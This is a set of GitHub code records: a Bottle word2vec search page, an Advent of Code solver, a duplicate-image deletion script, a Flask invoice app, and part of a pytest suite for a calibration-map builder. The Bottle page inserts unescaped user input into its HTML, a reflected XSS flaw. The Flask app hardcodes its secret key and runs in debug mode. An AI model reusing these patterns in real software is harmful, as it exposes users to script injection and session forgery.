"file_name": "tipi_cache.py", "file_ext": "py", "file_size_in_byte": 6405, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 55, "dataset": "github-code", "pt": "78", "api": [{"api_name": "logging.getLogger", "line_number": 14, "usage_type": "call"}, {"api_name": "TipiConfig.TipiConfig.instance", "line_number": 20, "usage_type": "call"}, {"api_name": "TipiConfig.TipiConfig", "line_number": 20, "usage_type": "name"}, {"api_name": "flask.g", "line_number": 27, "usage_type": "argument"}, {"api_name": "flask.g._database", "line_number": 29, "usage_type": "attribute"}, {"api_name": "flask.g", "line_number": 29, "usage_type": "name"}, {"api_name": "sqlite3.connect", "line_number": 29, "usage_type": "call"}, {"api_name": "sqlite3.connect", "line_number": 39, "usage_type": "call"}, {"api_name": "os.walk", "line_number": 67, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 69, "usage_type": "call"}, {"api_name": "os.path", "line_number": 69, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 83, "usage_type": "call"}, {"api_name": "os.path", "line_number": 83, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 83, "usage_type": "call"}, {"api_name": "os.path.isdir", "line_number": 126, "usage_type": "call"}, {"api_name": "os.path", "line_number": 126, "usage_type": "attribute"}, {"api_name": "ti_files.ti_files.isValid", "line_number": 181, "usage_type": "call"}, {"api_name": "ti_files.ti_files", "line_number": 181, "usage_type": "name"}, {"api_name": "tinames.tinames.asTiShortName", "line_number": 186, "usage_type": "call"}, {"api_name": "tinames.tinames", "line_number": 186, "usage_type": "name"}, {"api_name": "os.stat", "line_number": 187, "usage_type": "call"}, {"api_name": "ti_files.ti_files.flagsToString", "line_number": 190, "usage_type": "call"}, {"api_name": "ti_files.ti_files", "line_number": 190, "usage_type": "name"}, {"api_name": "ti_files.ti_files.recordLength", "line_number": 192, "usage_type": "call"}, {"api_name": "ti_files.ti_files", "line_number": 192, "usage_type": "name"}, {"api_name": "ti_files.ti_files.isProtected", "line_number": 193, "usage_type": "call"}, {"api_name": "ti_files.ti_files", "line_number": 193, "usage_type": "name"}, {"api_name": "ti_files.ti_files.isTiBasicPrg", "line_number": 200, "usage_type": "call"}, {"api_name": "ti_files.ti_files", "line_number": 200, "usage_type": "name"}, {"api_name": "ti_files.ti_files.isTiBasicPrg", "line_number": 202, "usage_type": "call"}, {"api_name": "ti_files.ti_files", "line_number": 202, "usage_type": "name"}, {"api_name": "os.path.isfile", "line_number": 208, "usage_type": "call"}, {"api_name": "os.path", "line_number": 208, "usage_type": "attribute"}, {"api_name": "tinames.tinames.devnameToLocal", "line_number": 213, "usage_type": "call"}, {"api_name": "tinames.tinames", "line_number": 213, "usage_type": "name"}]}
{"seq_id": "25838264490", "text": "#!/bin/env python\n# coding:utf-8\n\nimport urllib\nfrom bottle import get,post,request\nimport re\nfrom gensim.models import word2vec\nmodel=word2vec.Word2Vec.load(\"/home/ubuntu/data/wikipedia/model_py.data\")\n\nimport logging\nlogging.basicConfig(filename=\"/var/log/bottle/debug.log\",level=logging.DEBUG)\n\ndef get():\n  return '''\n        <h3>Wikipedia記事本文から作成したWord2Vec</h3>\n        <form action=\"w2v\" method=\"post\">\n            positive text: <input name=\"posi_text\" type=\"text\" /><br>\n            negative text: <input name=\"nega_text\" type=\"text\" /><br>\n            <input value=\"search\" type=\"submit\" />\n        </form>\n    '''\n\ndef post(request):\n  posi_text=request.forms.get(\"posi_text\")\n  nega_text=request.forms.get(\"nega_text\")\n  posi_text=urllib.unquote(posi_text)\n  nega_text=urllib.unquote(nega_text)\n  #posi_text=unicode(posi_text,\"utf-8\")\n  #nega_text=unicode(nega_text,\"utf-8\")\n  logging.debug(type(posi_text))\n  logging.debug(posi_text)\n  #posi_text=urllib2.unquote(posi_text).encode('raw_unicode_escape').decode('utf-8')\n  #return posi_text\n  #nega_text=urllib2.unquote(nega_text).encode('raw_unicode_escape').decode('utf-8')\n  posi=[]\n  nega=[]\n  for t in posi_text.split(\" \"):\n    print(t)\n    posi.append(unicode(t,\"utf-8\"))\n  for t in nega_text.split(\" \"):\n    nega.append(unicode(t,\"utf-8\"))\n\n  logging.debug(posi)\n  logging.debug(nega)\n  logging.debug(len(nega))\n  logging.debug(len(nega_text))\n\n  if len(posi_text)==0:\n    return \"invalid positive text\"\n\n  err_str=\"\"\n  out=None\n  try:\n    if len(nega_text)>0:\n      out=model.most_similar(positive=posi,negative=nega)\n    else:\n      out=model.most_similar(positive=posi)\n    logging.debug(out)\n  except KeyError:\n    err_str=\"Keyword Error\"\n    \n  ret=get()\n  ret=ret+\"<br><br>Wikipedia keyword\"\n  ret=ret+\"<br><br>\"\n  ret=ret+\"positive text:\"+posi_text+\"<br>\"\n  ret=ret+\"negative text:\"+nega_text+\"<br>\"\n\n  if len(err_str)>0:\n    ret=ret+\"<font color='red'><b>\"+err_str+\"</b></font><br><br>\"\n  else:\n    ret=ret+\"<table border='1'><tr><th>word</th><th>score</th></tr>\"\n    for x in out:\n      ret=ret+\"<tr>\"\n      ret=ret+\"<td>\"+str(x[0].encode('utf-8'))+\"</td>\"\n      ret=ret+\"<td>\"+str(x[1])+\"</td>\"\n      ret=ret+\"</tr>\"\n    ret=ret+\"</table>\"\n  return ret\n", "repo_name": "k-utsubo/forecast", "sub_path": "bottle/w2v.py", "file_name": "w2v.py", "file_ext": "py", "file_size_in_byte": 2250, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "78", "api": [{"api_name": "gensim.models.word2vec.Word2Vec.load", "line_number": 8, "usage_type": "call"}, {"api_name": "gensim.models.word2vec.Word2Vec", "line_number": 8, "usage_type": "attribute"}, {"api_name": "gensim.models.word2vec", "line_number": 8, "usage_type": "name"}, {"api_name": "logging.basicConfig", "line_number": 11, "usage_type": "call"}, {"api_name": "logging.DEBUG", "line_number": 11, "usage_type": "attribute"}, {"api_name": "bottle.request.forms.get", "line_number": 24, "usage_type": "call"}, {"api_name": "bottle.request.forms", "line_number": 24, "usage_type": "attribute"}, {"api_name": "bottle.request", "line_number": 24, "usage_type": "name"}, {"api_name": "bottle.request.forms.get", "line_number": 25, "usage_type": "call"}, {"api_name": "bottle.request.forms", "line_number": 25, "usage_type": "attribute"}, {"api_name": "bottle.request", "line_number": 25, "usage_type": "name"}, {"api_name": "urllib.unquote", "line_number": 26, "usage_type": "call"}, {"api_name": "urllib.unquote", "line_number": 27, "usage_type": "call"}, {"api_name": "logging.debug", "line_number": 30, "usage_type": "call"}, {"api_name": "logging.debug", "line_number": 31, "usage_type": "call"}, {"api_name": "logging.debug", "line_number": 43, "usage_type": "call"}, {"api_name": "logging.debug", "line_number": 44, "usage_type": "call"}, {"api_name": "logging.debug", "line_number": 45, "usage_type": "call"}, {"api_name": "logging.debug", "line_number": 46, "usage_type": "call"}, {"api_name": "logging.debug", "line_number": 58, "usage_type": "call"}, {"api_name": "bottle.get", "line_number": 62, "usage_type": "call"}]}
{"seq_id": "40848160507", "text": "from collections import defaultdict\r\n\r\nRUN_TEST = False\r\nTEST_SOLUTION = 8\r\nTEST_INPUT_FILE = \"test_input_day_08.txt\"\r\nINPUT_FILE = \"input_day_08.txt\"\r\n\r\nARGS = []\r\n\r\n\r\ndef main_part2(\r\n    input_file,\r\n):\r\n    with open(input_file) as file:\r\n        lines = list(map(lambda line: line.rstrip(), file.readlines()))\r\n\r\n    # A tree's scenic score is found by multiplying together its viewing\r\n    # distance in each of the four directions.\r\n\r\n    # Consider each tree on your map. What is the highest scenic score possible\r\n    # for any tree?\r\n\r\n    columns = defaultdict(list)\r\n    rows = defaultdict(list)\r\n\r\n    for i, line in enumerate(lines):\r\n        for j, char in enumerate(line):\r\n            height = int(char)\r\n            columns[j].append(height)\r\n            rows[i].append(height)\r\n\r\n    def check_direction(trees: list, height: int) -> int:\r\n        \"\"\"Returns the number of trees lower than height, until\r\n        (and including) a tree of `height` is encountered\r\n\r\n        Args:\r\n            trees (list): List of tree heights\r\n            height (int): Height of the tree to check\r\n\r\n        Returns:\r\n            int: Number of trees lower than height\r\n        \"\"\"\r\n        for i, h in enumerate(trees):\r\n            if h >= height:\r\n                return i + 1\r\n        return len(trees)\r\n\r\n    max_scenic_score = 0\r\n    visible_trees_map = []\r\n    best_spot = (0, 0)\r\n    cutoffs = (0, 0, 0, 0)\r\n    for i, line in enumerate(lines):\r\n        for j, char in enumerate(line):\r\n            height = int(char)\r\n            if i == 0 or j == 0 or i == len(lines) - 1 or j == len(line) - 1:\r\n                visible_trees_map.append((i, j))\r\n                continue\r\n            # Just a fancy map. Not needed, but I like it =)\r\n            if (\r\n                all(height > h for h in columns[j][0:i])\r\n                or all(height > h for h in rows[i][0:j])\r\n                or all(height > h for h in columns[j][i + 1 :])\r\n                or all(height > h for h in rows[i][j + 1 :])\r\n            ):\r\n                visible_trees_map.append((i, j))\r\n            up = check_direction(columns[j][0:i][::-1], height)\r\n            down = check_direction(columns[j][i + 1 :], height)\r\n            left = check_direction(rows[i][0:j][::-1], height)\r\n            right = check_direction(rows[i][j + 1 :], height)\r\n            scenic_score = up * down * left * right\r\n            if scenic_score > max_scenic_score:\r\n                max_scenic_score = scenic_score\r\n                best_spot = (i, j)\r\n                cutoffs = (up, down, left, right)\r\n    print(f\"Best spot: {best_spot} with a score of {max_scenic_score}\")\r\n    print(f\"Cutoffs(U, D, L, R): {cutoffs}\")\r\n\r\n    for i, line in enumerate(lines):\r\n        for j, char in enumerate(line):\r\n            if (i, j) == best_spot:\r\n                print(\"X\", end=\"\")\r\n            elif i == best_spot[0] and (\r\n                best_spot[1] - cutoffs[2] + 1 <= j <= best_spot[1] + cutoffs[3] - 1\r\n            ):\r\n                print(\"-\", end=\"\")\r\n            elif j == best_spot[1] and (\r\n                best_spot[0] - cutoffs[0] + 1 <= i <= best_spot[0] + cutoffs[1] - 1\r\n            ):\r\n                print(\"|\", end=\"\")\r\n            elif (i, j) in visible_trees_map:\r\n                print(char, end=\"\")\r\n            else:\r\n                print(\" \", end=\"\")\r\n        print()\r\n\r\n    solution = max_scenic_score\r\n    return solution\r\n\r\n\r\nif __name__ == \"__main__\":\r\n    if RUN_TEST:\r\n        solution = main_part2(TEST_INPUT_FILE, *ARGS)\r\n        print(solution)\r\n        assert TEST_SOLUTION == solution\r\n    else:\r\n        solution = main_part2(INPUT_FILE, *ARGS)\r\n        print(solution)\r\n", "repo_name": "Nixxen/advent_of_code_2022", "sub_path": "day08/day08_part2.py", "file_name": "day08_part2.py", "file_ext": "py", "file_size_in_byte": 3671, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "collections.defaultdict", "line_number": 23, "usage_type": "call"}, {"api_name": "collections.defaultdict", "line_number": 24, "usage_type": "call"}]}
{"seq_id": "2031818161", "text": "import os\nimport cv2\nimport numpy as np\nfrom skimage.metrics import structural_similarity as compare_ssim\nimport sys\n\ndef get_image_similarity(img1, img2):\n    \"\"\"Calculates and returns the Structural Similarity Index (SSIM) between two images.\"\"\"\n    # Resize images to a specified size (e.g., 256x256) for comparison\n    img1 = cv2.resize(img1, (256, 256))\n    img2 = cv2.resize(img2, (256, 256))\n    img1_gray = cv2.cvtColor(img1, cv2.COLOR_BGR2GRAY)\n    img2_gray = cv2.cvtColor(img2, cv2.COLOR_BGR2GRAY)\n    score = compare_ssim(img1_gray, img2_gray)\n    return score\n\ndef find_and_remove_duplicates(folder1, folder2, similarity_threshold=0.98):\n    \"\"\"Scans two folders for images and removes 1:1 duplicates based on SSIM similarity threshold.\"\"\"\n    # Get list of files in folders\n    files1 = os.listdir(folder1)\n    files2 = os.listdir(folder2)\n\n    for file1 in files1:\n        img1_path = os.path.join(folder1, file1)\n        if not os.path.isfile(img1_path) or not any(img1_path.endswith(ext) for ext in ('.jpg', '.jpeg', '.png', '.bmp', '.gif')):\n            continue\n        img1 = cv2.imread(img1_path)\n\n        for file2 in files2:\n            img2_path = os.path.join(folder2, file2)\n            if not os.path.isfile(img2_path) or not any(img2_path.endswith(ext) for ext in ('.jpg', '.jpeg', '.png', '.bmp', '.gif')):\n                continue\n            img2 = cv2.imread(img2_path)\n\n            similarity = get_image_similarity(img1, img2)\n\n            if similarity >= similarity_threshold:\n                print(f'Removing duplicate: {file1} and {file2}')\n                os.remove(img2_path)\n\nif __name__ == '__main__':\n    if len(sys.argv) != 3:\n        print('Usage: python script.py folder1 folder2')\n        sys.exit(1)\n\n    folder1 = sys.argv[1]\n    folder2 = sys.argv[2]\n    similarity_threshold = 0.98\n\n    find_and_remove_duplicates(folder1, folder2, similarity_threshold)\n", "repo_name": "yatsukiko/SankakuScraperLoRA", "sub_path": "tools/removeDuplicate2Folders.py", "file_name": "removeDuplicate2Folders.py", "file_ext": "py", "file_size_in_byte": 1905, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 4, "dataset": "github-code", "pt": "78", "api": [{"api_name": "cv2.resize", "line_number": 10, "usage_type": "call"}, {"api_name": "cv2.resize", "line_number": 11, "usage_type": "call"}, {"api_name": "cv2.cvtColor", "line_number": 12, "usage_type": "call"}, {"api_name": "cv2.COLOR_BGR2GRAY", "line_number": 12, "usage_type": "attribute"}, {"api_name": "cv2.cvtColor", "line_number": 13, "usage_type": "call"}, {"api_name": "cv2.COLOR_BGR2GRAY", "line_number": 13, "usage_type": "attribute"}, {"api_name": "skimage.metrics.structural_similarity", "line_number": 14, "usage_type": "call"}, {"api_name": "os.listdir", "line_number": 20, "usage_type": "call"}, {"api_name": "os.listdir", "line_number": 21, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 24, "usage_type": "call"}, {"api_name": "os.path", "line_number": 24, "usage_type": "attribute"}, {"api_name": "os.path.isfile", "line_number": 25, "usage_type": "call"}, {"api_name": "os.path", "line_number": 25, "usage_type": "attribute"}, {"api_name": "cv2.imread", "line_number": 27, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 30, "usage_type": "call"}, {"api_name": "os.path", "line_number": 30, "usage_type": "attribute"}, {"api_name": "os.path.isfile", "line_number": 31, "usage_type": "call"}, {"api_name": "os.path", "line_number": 31, "usage_type": "attribute"}, {"api_name": "cv2.imread", "line_number": 33, "usage_type": "call"}, {"api_name": "os.remove", "line_number": 39, "usage_type": "call"}, {"api_name": "sys.argv", "line_number": 42, "usage_type": "attribute"}, {"api_name": "sys.exit", "line_number": 44, "usage_type": "call"}, {"api_name": "sys.argv", "line_number": 46, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 47, "usage_type": "attribute"}]}
{"seq_id": "22363494586", "text": "from flask_wtf import FlaskForm\nfrom wtforms import StringField, IntegerField, SubmitField, SelectField\nfrom wtforms.validators import DataRequired, Email, InputRequired\nfrom wtforms_sqlalchemy.fields import QuerySelectField\n\n# https://www.youtube.com/watch?v=b9W2ul2VRRc\n\n# https://youtu.be/u0oDDZrDz9U\n\n# deploy\n# https://youtu.be/goToXTC96Co\n\nfrom flask import Flask, render_template, redirect, url_for\nfrom flask_sqlalchemy import SQLAlchemy\nimport os\n# from form import SaskaitaForm, VartotojasForm\n\nbasedir = os.path.abspath(os.path.dirname(__file__))\nprint(basedir)\n\napp = Flask(__name__)\n\napp.config['SECRET_KEY'] = 'dfgsfdgsdfgsdfgsdf'\napp.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///' + os.path.join(basedir, 'saskaitos.db')\napp.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False\ndb = SQLAlchemy(app)\n\nclass Saskaita(db.Model):\n    __tablename__ = 'saskaitos'\n    id = db.Column(db.Integer, primary_key=True)\n    numeris = db.Column(db.String(80), nullable=False)\n    balansas = db.Column(db.Float, nullable=False)\n    vartotojas_id = db.Column(db.Integer, db.ForeignKey('vartotojai.id'))\n    vartotojas = db.relationship(\"Vartotojas\")\n\n\nclass Vartotojas(db.Model):\n    __tablename__ = 'vartotojai'\n    id = db.Column(db.Integer, primary_key=True)\n    vardas = db.Column(db.String(80), nullable=False)\n    pavarde = db.Column(db.String(80), nullable=False)\n    saskaitaos = db.relationship(\"Saskaita\")\n\n@app.route(\"/\")\ndef invoices():\n    try:\n        visos_saskaitos = Saskaita.query.all()\n    except:\n        visos_saskaitos = []\n    return render_template(\"saskaitos.html\", visos_saskaitos=visos_saskaitos)\n\n@app.route(\"/users\")\ndef users():\n    try:\n        visi_vartotojai = Vartotojas.query.all()\n    except:\n        visi_vartotojai = []\n    return render_template(\"vartotojai.html\", visi_vartotojai=visi_vartotojai)\n\n@app.route(\"/add_invoice\", methods=[\"GET\", \"POST\"])\ndef new_invoice():\n    db.create_all()\n    forma = SaskaitaForm()\n    if forma.validate_on_submit():\n        nauja_saskaita = Saskaita(numeris=forma.numeris.data, balansas=forma.balansas.data, vartotojas=forma.vartotojas.data)\n        db.session.add(nauja_saskaita)\n        db.session.commit()\n        return invoices()\n    return render_template(\"prideti_saskaita.html\", form=forma)\n\n@app.route(\"/add_user\", methods=[\"GET\", \"POST\"])\ndef new_user():\n    db.create_all()\n    forma = VartotojasForm()\n    if forma.validate_on_submit():\n        naujas_vartotojas = Vartotojas(vardas=forma.vardas.data, pavarde=forma.pavarde.data)\n        db.session.add(naujas_vartotojas)\n        db.session.commit()\n        return redirect(url_for('users'))\n    return render_template(\"prideti_vartotoja.html\", form=forma)\n\ndef new_query():\n    return Vartotojas.query\n\ndef get_pk(obj):\n    return str(obj)\n\nclass SaskaitaForm(FlaskForm):\n    numeris = StringField('Numeris', [DataRequired()])\n    balansas = IntegerField('Balansas')\n    vartotojas = QuerySelectField(query_factory=new_query, allow_blank=True, get_label=\"vardas\", get_pk=get_pk)\n    # vartotojas = SelectField('Vartotojas', choices=Vartotojas.query.all())\n    # vartotojas = SelectField('Vartotojas', choices=[(1,\"Group1\"),(2,\"Group2\")], validators=[InputRequired])\n    submit = SubmitField('Įvesti')\n\nclass VartotojasForm(FlaskForm):\n    vardas = StringField('Numeris', [DataRequired()])\n    pavarde = StringField('Pavardė', [DataRequired()])\n    submit = SubmitField('Įvesti')\n\nif __name__ == '__main__':\n    app.run(host='127.0.0.1', port=8000, debug=True)\n    db.create_all()", "repo_name": "DonatasNoreika/flask_saskaitos", "sub_path": "app.py", "file_name": "app.py", "file_ext": "py", "file_size_in_byte": 3517, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "os.path.abspath", "line_number": 18, "usage_type": "call"}, {"api_name": "os.path", "line_number": 18, "usage_type": "attribute"}, {"api_name": "os.path.dirname", "line_number": 18, "usage_type": "call"}, {"api_name": "flask.Flask", "line_number": 21, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 24, "usage_type": "call"}, {"api_name": "os.path", "line_number": 24, "usage_type": "attribute"}, {"api_name": "flask_sqlalchemy.SQLAlchemy", "line_number": 26, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 50, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 58, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 69, "usage_type": "call"}, {"api_name": "flask.redirect", "line_number": 79, "usage_type": "call"}, {"api_name": "flask.url_for", "line_number": 79, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 80, "usage_type": "call"}, {"api_name": "flask_wtf.FlaskForm", "line_number": 88, "usage_type": "name"}, {"api_name": "wtforms.StringField", "line_number": 89, "usage_type": "call"}, {"api_name": "wtforms.validators.DataRequired", "line_number": 89, "usage_type": "call"}, {"api_name": "wtforms.IntegerField", "line_number": 90, "usage_type": "call"}, {"api_name": "wtforms_sqlalchemy.fields.QuerySelectField", "line_number": 91, "usage_type": "call"}, {"api_name": "wtforms.SubmitField", "line_number": 94, "usage_type": "call"}, {"api_name": "flask_wtf.FlaskForm", "line_number": 96, "usage_type": "name"}, {"api_name": "wtforms.StringField", "line_number": 97, "usage_type": "call"}, {"api_name": "wtforms.validators.DataRequired", "line_number": 97, "usage_type": "call"}, {"api_name": "wtforms.StringField", "line_number": 98, "usage_type": "call"}, {"api_name": "wtforms.validators.DataRequired", "line_number": 98, "usage_type": "call"}, {"api_name": "wtforms.SubmitField", "line_number": 99, "usage_type": "call"}]}
{"seq_id": "38646852800", "text": "import os\nimport copy\nimport numpy  as np\nimport tables as tb\nimport pandas as pd\nfrom pytest        import mark\nfrom pytest        import fixture\nfrom numpy.testing import assert_raises\n\nfrom invisible_cities.io  .dst_io          import load_dst\nfrom invisible_cities.core.testing_utils   import assert_dataframes_close\nfrom invisible_cities.core.configure       import configure\nfrom invisible_cities.reco.corrections     import read_maps\nfrom invisible_cities.reco.corrections     import ASectorMap\nfrom invisible_cities.reco.corrections     import maps_coefficient_getter\n\nfrom . map_builder_functions import map_builder\nfrom . checking_functions    import AbortingMapCreation\n\nfrom hypothesis            import settings\nfrom hypothesis            import given\nfrom hypothesis.strategies import floats\nfrom hypothesis.strategies import integers\nfrom hypothesis.strategies import composite\nfrom hypothesis.strategies import lists\n\nimport logging\nimport warnings\nwarnings.filterwarnings(\"ignore\")\nlogging.disable(logging.DEBUG)\nthis_script_logger = logging.getLogger(__name__)\nthis_script_logger.setLevel(logging.INFO)\n\n@fixture(scope=\"module\")\ndef t_evol_table(MAPSDIR):\n    return os.path.join(MAPSDIR, 'time_evol_table.h5')\n\n@mark.timeout(None)\n@mark.dependency()\ndef test_scrip_runs_and_produces_correct_outputs(folder_test_dst  ,\n                                                 test_dst_file    ,\n                                                 output_maps_tmdir,\n                                                 test_map_file    ):\n    \"\"\"\n    Run map creation script and check if an ASectormap is the output.\n    \"\"\"\n    map_file_out   = os.path.join(output_maps_tmdir, 'test_out_map.h5')\n    histo_file_out = os.path.join(output_maps_tmdir, 'test_out_histo.h5')\n    default_n_bins = 15\n    run_number     = 7517\n    config = configure('maps $ICARO/krcal/map_builder/config_LBphys.conf'.split())\n    map_params_new = copy.copy(config.as_namespace.map_params)\n    map_params_new['nmin']          = 100\n    map_params_new['nStimeprofile'] = 1200\n    map_params_new['z_range']       = (0, 10000)\n    config.update(dict(folder         = folder_test_dst,\n                       file_in        = test_dst_file  ,\n                       file_out_map   = map_file_out   ,\n                       file_out_hists = histo_file_out ,\n                       default_n_bins = default_n_bins ,\n                       run_number     = run_number     ,\n                       map_params     = map_params_new ))\n    map_builder(config.as_namespace)\n    maps = read_maps(map_file_out)\n    assert type(maps)==ASectorMap\n\n    old_maps = read_maps(test_map_file)\n    assert_dataframes_close(maps.e0 , old_maps.e0 , rtol=1e-5)\n    assert_dataframes_close(maps.e0u, old_maps.e0u, rtol=1e-1)\n    assert_dataframes_close(maps.lt , old_maps.lt , rtol=1e-5)\n    assert_dataframes_close(maps.ltu, old_maps.ltu, rtol=1e-1)\n\n@mark.dependency(depends=\"test_scrip_runs_and_produces_correct_outputs\")\ndef test_time_evol_table_correct_elements(output_maps_tmdir):\n    map_file_out = os.path.join(output_maps_tmdir, 'test_out_map.h5')\n    emaps        = read_maps(map_file_out)\n    time_table   = emaps.t_evol\n    columns      = time_table.columns\n    elements     =['ts'   ,\n                   'e0'   , 'e0u'   ,\n                   'lt'   , 'ltu'   ,\n                   'dv'   , 'dvu'   ,\n                   'resol', 'resolu',\n                   's1w'  , 's1wu'  ,\n                   's1h'  , 's1hu'  ,\n                   's1e'  , 's1eu'  ,\n                   's2w'  , 's2wu'  ,\n                   's2h'  , 's2hu'  ,\n                   's2e'  , 's2eu'  ,\n                   's2q'  , 's2qu'  ,\n                   'Nsipm', 'Nsipmu',\n                   'Xrms' , 'Xrmsu' ,\n                   'Yrms' , 'Yrmsu' ,\n                   'S1eff' , 'S2eff', 'Bandeff']\n    for element in elements:\n        assert element in columns\n\n@mark.dependency(depends=\"test_scrip_runs_and_produces_correct_outputs\")\ndef test_time_evol_eff_less_one(output_maps_tmdir):\n    map_file_out = os.path.join(output_maps_tmdir, 'test_out_map.h5')\n    emaps        = read_maps(map_file_out)\n    assert np.all(emaps.t_evol.S1eff   <= 1.)\n    assert np.all(emaps.t_evol.S2eff   <= 1.)\n    assert np.all(emaps.t_evol.Bandeff <= 1.)\n\n@mark.dependency(depends=\"test_scrip_runs_and_produces_correct_outputs\")\ndef test_time_evol_table_exact_numbers(t_evol_table, output_maps_tmdir):\n    map_file_out = os.path.join(output_maps_tmdir, 'test_out_map.h5')\n    emaps        = read_maps(map_file_out)\n    t_evol = pd.pandas.read_hdf(t_evol_table, 't_evol')\n    assert_dataframes_close(emaps.t_evol, t_evol, rtol=1e-5)\n\n@composite\ndef xy_pos(draw, elements=floats(min_value=-200, max_value=200)):\n    size = draw(integers(min_value=1, max_value=10))\n    x    = draw(lists(elements,min_size=size, max_size=size))\n    y    = draw(lists(elements,min_size=size, max_size=size))\n    return (np.array(x),np.array(y))\n\n\n@mark.dependency(depends=\"test_scrip_runs_and_produces_correct_outputs\")\n@given(xy_pos = xy_pos())\n@settings(max_examples=50)\ndef test_maps_nans_outside_rmax(xy_pos, output_maps_tmdir):\n    map_file_out = os.path.join(output_maps_tmdir, 'test_out_map.h5')\n    xs, ys = xy_pos\n\n    emaps = read_maps(map_file_out)\n    get_coef = maps_coefficient_getter(emaps.mapinfo, emaps.e0)\n    r_max    = emaps.mapinfo.xmax\n    nbins    = emaps.mapinfo.nx\n    bins     = np.linspace(-200, 200, nbins)\n    xs       = bins[np.digitize(xs, bins, right = True)]\n    ys       = bins[np.digitize(ys, bins, right = True)]\n    coefs    = get_coef(xs, ys)\n    maskin   = np.sqrt(xs**2 + ys**2) <  r_max\n    maskout  = np.sqrt(xs**2 + ys**2) >= r_max + 2 * r_max / nbins\n\n    assert all(np.isnan   (coefs[maskout]))\n    assert all(np.isfinite(coefs[maskin ]))\n\n@mark.dependency(depends=\"test_scrip_runs_and_produces_correct_outputs\")\ndef test_correct_map_with_unsorted_dst(folder_test_dst  ,\n                                       test_dst_file    ,\n                                       output_maps_tmdir):\n    \"\"\"\n    This test shuffles the input dst, and checks that the map is the same\n    as the one created with the same sorted dst.\n    \"\"\"\n    map_file_sort   = os.path.join(output_maps_tmdir, 'test_out_map.h5')\n    map_file_unsort = os.path.join(output_maps_tmdir, 'test_out_unsort.h5')\n    histo_file_out = os.path.join(output_maps_tmdir, 'test_out_histo.h5')\n\n    dst = load_dst(folder_test_dst+test_dst_file, 'DST', 'Events')\n    if \"index\" in dst:del dst[\"index\"]\n    dst = dst.sort_values(by=['S2e'])\n    tmp_unsorted_dst = 'unsorted_dst.h5'\n    dst.to_hdf(output_maps_tmdir+tmp_unsorted_dst,\n               key     = \"DST\"  , mode         = \"w\",\n               format  = \"table\", data_columns = True,\n               complib = \"zlib\" , complevel    = 4)\n    with tb.open_file(output_maps_tmdir+tmp_unsorted_dst, \"r+\") as file:\n        file.rename_node(file.root.DST.table, \"Events\")\n        file.root.DST.Events.title = \"Events\"\n\n    default_n_bins = 15\n    run_number     = 7517\n    config = configure('maps $ICARO/krcal/map_builder/config_LBphys.conf'.split())\n    map_params_new = config.as_namespace.map_params\n    map_params_new['nmin']    = 100\n    map_params_new['z_range'] = (0, 10000)\n    config.update(dict(folder         = output_maps_tmdir,\n                       file_in        = tmp_unsorted_dst ,\n                       file_out_map   = map_file_unsort  ,\n                       file_out_hists = histo_file_out   ,\n                       default_n_bins = default_n_bins   ,\n                       run_number     = run_number       ,\n                       map_params     = map_params_new   ))\n    map_builder(config.as_namespace)\n    unsorted_maps = read_maps(map_file_unsort)\n    sorted_maps   = read_maps(map_file_sort)\n\n    assert_dataframes_close(unsorted_maps.e0 , sorted_maps.e0 , rtol=1e-5)\n    assert_dataframes_close(unsorted_maps.e0u, sorted_maps.e0u, rtol=1e-5)\n    assert_dataframes_close(unsorted_maps.lt , sorted_maps.lt , rtol=1e-5)\n    assert_dataframes_close(unsorted_maps.ltu, sorted_maps.ltu, rtol=1e-5)\n\ndef test_exception_s1(folder_test_dst, test_dst_file, output_maps_tmdir):\n    \"\"\"\n    This test checks if exception raises when ns1=1 efficiency is out of range.\n    \"\"\"\n    conf = configure('maps $ICARO/krcal/map_builder/config_LBphys.conf'.split())\n    map_file_out   = os.path.join(output_maps_tmdir, 'test_out_map_s1.h5'  )\n    histo_file_out = os.path.join(output_maps_tmdir, 'test_out_histo_s1.h5')\n    min_eff_test = 0.\n    max_eff_test = 0.8\n    run_number   = 7517\n    conf.update(dict(folder         = folder_test_dst,\n                     file_in        = test_dst_file  ,\n                     file_out_map   = map_file_out   ,\n                     file_out_hists = histo_file_out ,\n                     nS1_eff_min    = min_eff_test   ,\n                     nS1_eff_max    = max_eff_test   ,\n                     run_number     = run_number     ))\n\n    assert_raises(AbortingMapCreation,\n                  map_builder        ,\n                  conf.as_namespace  )\n\ndef test_exception_s2(folder_test_dst, test_dst_file, output_maps_tmdir):\n    \"\"\"\n    This test checks if exception raises when nS2=1 efficiency is out of range.\n    \"\"\"\n    conf = configure('maps $ICARO/krcal/map_builder/config_LBphys.conf'.split())\n    map_file_out   = os.path.join(output_maps_tmdir, 'test_out_map_s2.h5'  )\n    histo_file_out = os.path.join(output_maps_tmdir, 'test_out_histo_s2.h5')\n    min_eff_test = 0.\n    max_eff_test = 0.9\n    run_number   = 7517\n    conf.update(dict(folder         = folder_test_dst,\n                     file_in        = test_dst_file  ,\n                     file_out_map   = map_file_out   ,\n                     file_out_hists = histo_file_out ,\n                     nS2_eff_min    = min_eff_test   ,\n                     nS2_eff_max    = max_eff_test   ,\n                     run_number     = run_number     ))\n\n    assert_raises(AbortingMapCreation,\n                  map_builder        ,\n                  conf.as_namespace  )\n\ndef test_exception_rate(folder_test_dst, test_dst_file, output_maps_tmdir):\n    \"\"\"\n    This test checks if exception raises when rate distribution is not flat enough.\n    \"\"\"\n    conf = configure('maps $ICARO/krcal/map_builder/config_LBphys.conf'.split())\n    map_file_out   = 